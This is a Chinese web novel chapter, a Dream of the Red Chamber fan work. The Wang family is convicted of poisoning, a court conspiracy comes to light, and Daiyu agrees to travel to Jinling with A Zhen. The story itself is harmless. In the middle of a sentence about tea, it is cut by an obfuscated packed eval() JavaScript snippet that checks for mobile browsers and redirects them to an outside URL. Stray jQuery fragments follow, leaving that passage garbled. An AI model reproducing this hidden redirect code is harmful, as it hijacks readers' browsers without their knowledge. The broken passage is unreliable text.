10. 党争阴谋
作品:《红楼之黛玉美食探案江湖行》 在百姓一声声对质的呼声中,刘知府重重拍下惊堂木:“传证人!”
保和堂学徒哆嗦着述说着汪家接走刘大夫的经过;一位曾被汪家排挤的老账房更是慷慨激昂:“这‘清风明月’印确是汪大总管私章,老夫曾多次见其用于密件!”
人证物证环环相扣,形成铁证如山!
汪寿还想强行抵赖这些人都是林家姑娘收买之时,堂外围观的人群中,压抑已久的愤怒更是一浪高过一浪。
“青天大老爷!小民也有冤要诉!”
一个穿着粗布衣裳、面黄肌瘦的中年汉子挤出人群,扑通一声跪在堂外,“小人原是城西李记酱园的李三!我家祖传的制酱手艺,就因不肯将秘方白送给汪家,便被他们诬陷酱料吃坏了人,砸了铺子,断了生计!我爹……我爹就是活活气死的啊!”
一个抱着孩子的妇人泪流满面地哭喊起来:“还有我男人!他本是汪家盐行的运工,就因看不惯管事克扣工钱,顶撞了几句,当晚就被打断了一条腿,如今还躺在家里,这让我们孤儿寡母怎么活啊!”
“我家的织机也被他们抢走了!”
“他们强占了我家的田地!”
“我儿只是说了句汪家盐价太贵,就被抓进汪家大牢关了三个月!”
控诉之声,起初是三两人,随即如同燎原之火,迅速蔓延开来。
越来越多曾受过汪家欺压的贩夫走卒、小商小户,此刻见有人带头,且证据确凿,积压了数年甚至数十年的冤屈、愤懑与血泪,如同决堤的洪水,汹涌而出!
他们挤在衙门口,挥舞着状纸,捶打着胸膛,声泪俱下地诉说着汪家如何巧取豪夺、横行霸道、逼得人家破人亡的种种罪行。
堂上的刘知府被这仗势惊呆了。
他虽知汪家势大,却从未想过其恶行如此罄竹难书,民怨已深重至此!
他看着堂下群情激愤的百姓,额头冷汗涔涔,这已不仅仅是一桩谋害官眷案,而是一场足以震动整个扬州官场的大地震。
民意汹汹,证据确凿,已无任何转圜余地。
黛玉,怔在原地。她看着眼前这如同火山喷发般的景象,听着那一声声泣血的控诉,心中受到了前所未有的震撼。
她原本以为,自己与父亲所受的阴谋陷害已是极大的不公,此刻才明白,她那锦衣玉食下的烦恼,与这些平民百姓家破人亡、血泪交织的苦难相比,不过是冰山浮于水面的一角。
她状告二叔与汪家,初衷只是为了守护自己的父亲,守护自己的家。
她从未想过,自己这为了自身利益而敲响的鸣冤鼓,竟成了点燃这堆积已久干柴的第一颗火星,给了这些沉默的受害者们站出来的勇气!
汪寿面如死灰地瘫软下去,林如江更是瘫在地上,连求饶的话都说不出了。
这一次是彻底完了。法律的审判尚可周旋,但这滔天的民怨与铁证,已将他们彻底钉死。
“啪!”惊堂木重重拍下,刘知府当堂宣判,将汪寿、林如江、保和堂汪管事等一干主犯收监,查封汪家及关联产业,详查罪证,八百里加急上报朝廷!
一个月后。
扬州城的茶楼酒肆,依旧热烈谈论着汪家覆灭的余波。
那日刑场之上,汪家核心党羽三百余口逐一伏法,昔日煊赫的盐商巨贾,顷刻间烟消云散。林如江被判流放三千里,家产抄没,其侵吞的林家产业尽数归还。
真正引起朝野震动的,并非仅是汪家的盐政贪腐与鱼肉乡里,而是在抄家过程中,从汪府密室及保和堂地下库房中,搜出了十余份封装完好的七日醉毒药、部分炼制原料、以及与京城数位官员往来、提及使用此药的密信账册!
七日醉重现,且与地方巨贾、盐□□败勾连,消息传回京城,今上震怒!
这已远超地方刑事案件,直指宫廷秘药流失、谋害朝廷命官、甚至可能涉及更深层的党争阴谋。
皇帝当即下旨,成立由都察院、刑部、大理寺组成的“三司核查”,彻查“七日醉”一案,务必揪出所有涉案人员,无论涉及何人,严惩不贷!
在强大的审讯压力下,为求一线生机,汪家核心人物供出了一份令人胆寒的名单——不仅包括扬州官场数名收受巨额贿赂、为其提供保护的官员,更隐隐指向了京城某位权势煊赫的郡王,以及宫中两位地位不低的内侍!
据供述,七日醉的配方和最初的部分成品,正是经由这些内侍之手,从宫中流出,交到那位郡王手中,再由郡王势力与汪家合作,用于清除政商道路上的障碍。
案件性质升级,从地方腐败案演变为牵扯宗室、内廷的惊天大案,朝野上下风声鹤唳,暗流汹涌。
林府内,却是另一番景象。
林如海在黛玉的精心调理和真相大白后的心结纾解下,身体一日好过一日,已能正常处理公务。
贾敏将内宅打理得井井有条,容光焕发。没有了往日的恐惧。
济仁堂的药膳生意越发红火,成了扬州城的一块金字招牌,更是林家重要的经济来源和黛玉安身立命的根基。
街头巷尾,百姓们拍手称快,但那份血腥的热闹,与明月楼雅间内的宁静恍如两个世界。
雅间窗边的梨花木桌上,只摆着三样小食,却样样别出心裁
最引人注目的,是一盘晶莹剔透的“金齑玉鲙”。
鱼片薄如蝉翼,铺在冰屑之上,宛如无瑕白玉,旁边配着一碟色泽金黄的蘸料。
“这是我亲手做的,”阿真将玉箸轻轻放在黛玉面前,“取自江心活水鲈,未添一丝杂念。尝尝它本该有的味道。”
旁边是一盏温润的鸡头米甜羹,芡实饱满,羹汤清甜。
“鸡头米安神,甜羹暖胃。这些日子,辛苦了。可得要好好补补。”
最后是一壶新沏的“吓煞人香
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937258|192896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”碧螺春。
“还记得这个味道吗?”阿真为她斟茶,“初遇时,你品出的是一丝凝重;如今,再品品看。”
是呀,当初品这个能品出的是“家宅不宁”,如今境遇大有不同,她不再是前世那样与父母之缘浅薄。
黛玉执起玉箸,夹起一片纯正的“玉鲙”,蘸上那纯粹的金齑,送入口中。
清、鲜、甜、润,在舌尖次第绽放,没有一丝阴霾。她再舀一勺鸡头米甜羹,温软的暖意自喉间滑入,熨帖着五脏六腑。
她抬眸,看向窗外云卷云舒。阿真依旧是一身青衫,眉宇间多了些清风朗月。
“恭喜林姑娘,沉冤得雪,家宅安宁。”阿真笑道,将一份京城传来的密报递给黛玉,“这是师门刚刚收到的消息。七日醉一案,已由三司接手,深入调查。你父亲呈上的条陈起到了关键作用。陛下已有明旨,褒奖林御史忠直,赏赐有加。至于你……虽为女子,但智勇忠孝,揭露大奸,亦得朝廷口头嘉许。”
黛玉接过密报细细看了,心中一块大石终于落地。
父亲官声得保,家族危机解除,恶人伏法,这已是最好的结果。
“多亏公子鼎力相助。”黛玉诚心道谢,“若无公子暗探汪府取得关键证据,此案绝不会如此顺利。”
“分内之事,亦是志同道合。”阿真夹起饭菜吃了起来,“不过,林姑娘,此事并未完全了结。”
黛玉停下手中的筷子:“是因为……京城那条线?”
阿真点头:“不错。汪家虽倒,但供出的线索在京中被强行掐断了。对方反应极快,清理了所有痕迹。京城眼下已成铁板,难以深入。但师门收到消息,金陵近来有些异动。黑市上有类似七日醉效用的奇香流传,要价极高。原与汪家勾结的几股漕运势力,近来在金陵一带活动频繁,似在转运特殊货物。我们怀疑,七日醉的残余网络可能转移到了金陵,甚至在那里有了新的动静。”
他看向黛玉,目光诚挚:“师门命我前往金陵详查。此去陌生之地,局面复杂。姑娘如今家宅已安,不知可愿同行?一来此事关乎七日醉根源,二来……”
此时,丫鬟杏仁送来一封书信:“姑娘,您的信,山上来。”
黛玉拆信,正是师父手书:
玉儿吾徒:扬州事毕,尘缘暂了。温室之花难经风雨。世间百态,非闭门可悟。且去行万里路,读无字书。遇事问本心。机缘自见。勿念。师字。
师父知她心性已坚,正是该走出去的时候。
家宅已安,父亲康健,母亲振作,济仁堂根基稳固。扬州之事已了,她确实不必再困守于此。
她抬起头,看向阿真,微微一笑:“巧了。家师刚来信,嘱我外出游历,品味世情。金陵乃六朝古都,人文鼎盛,我正想见识。既然顺路,又能追查线索,那便结伴同行吧。”
阿真闻言,眼中漾开笑意:“如此甚好。”

